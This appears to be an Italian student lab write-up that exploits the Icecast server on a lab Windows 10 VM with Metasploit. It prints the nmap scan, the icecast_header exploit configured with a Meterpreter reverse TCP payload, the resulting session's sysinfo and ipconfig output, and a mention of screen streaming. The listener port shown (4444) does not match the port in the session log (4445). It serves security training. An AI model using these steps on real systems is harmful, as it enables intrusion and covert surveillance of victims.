UNIT2 S7/L4 - SCREENSHARE WINDOWS

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows 10 con Metasploit. Una volta ottenuta la sessione, si dovrà:
● Vedere l' indirizzo IP della vittima.
● Recuperare uno screenshot tramite la sessione Meterpreter. Il programma da exploitare sarà Icecast già presente nella iso.

ESERCIZIO:

Ip WIndows: 192.168.50.4
ip Kali: 192.168.50.3

si comincia sempre da uno scan di Nmap nei confronti dell'IP della macchina Windows, facendo attenzione che sia aperto il programma Icecast altrimenti non risulterà aperta la porta 8000

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.50.4 -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-06 08:11 EST
Stats: 0:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.00% done; ETC: 08:13 (0:00:04 remaining)
Nmap scan report for 192.168.50.4 (192.168.50.4)
Host is up (0.0026s latency).
Not shown: 980 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
7/tcp    open  echo
9/tcp    open  discard?
13/tcp   open  daytime       Microsoft Windows International daytime
17/tcp   open  qotd          Windows qotd (English)
19/tcp   open  chargen
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
1801/tcp open  msmq?
2103/tcp open  msrpc         Microsoft Windows RPC
2105/tcp open  msrpc         Microsoft Windows RPC
2107/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5432/tcp open  postgresql?
8000/tcp open  http          Icecast streaming media server
8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
8080/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
8443/tcp open  ssl/https-alt
MAC Address: 08:00:27:DE:C3:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: DESKTOP-9K1O4BT; OS: Windows; CPE: cpe:/o:microsoft:windows
```

a questo punto basterà configurare su msfconsole un exploit che sfrutti icecast

accedo tramite “msfconsole” → “search icecast” → seleziono l’unico exploit disponibile → setto l’ip della macchina che sto attaccando → si creerà la sessione

```
msf > search icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header   2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/http/icecast_header) > set rhosts 192.168.50.4
rhosts => 192.168.50.4
msf exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.50.4     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.50.3     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf exploit(windows/http/icecast_header) > exploit
[*] Started reverse TCP handler on 192.168.50.3:4445
[*] Sending stage (188998 bytes) to 192.168.50.4
[*] Meterpreter session 1 opened (192.168.50.3:4445 → 192.168.50.4:49497) at 2025-11-06 08:19:12 -0500

meterpreter > sysinfo
Computer        : DESKTOP-9K1O4BT
OS              : Windows 10 (10.0 Build 10240).
Architecture    : x64
System Language : it_IT
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  3
============
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:3204
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  4
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:de:c3:3c
MTU          : 1500
IPv4 Address : 192.168.50.4
IPv4 Netmask : 255.255.255.0
```

come è possibile vedere nello screen precedente, tramite ipconfig ottengo le informazioni sull’interfaccia di rete della windows mentre con “screenshare” posso avere direttamente lo streaming dello schermo della macchina attaccata.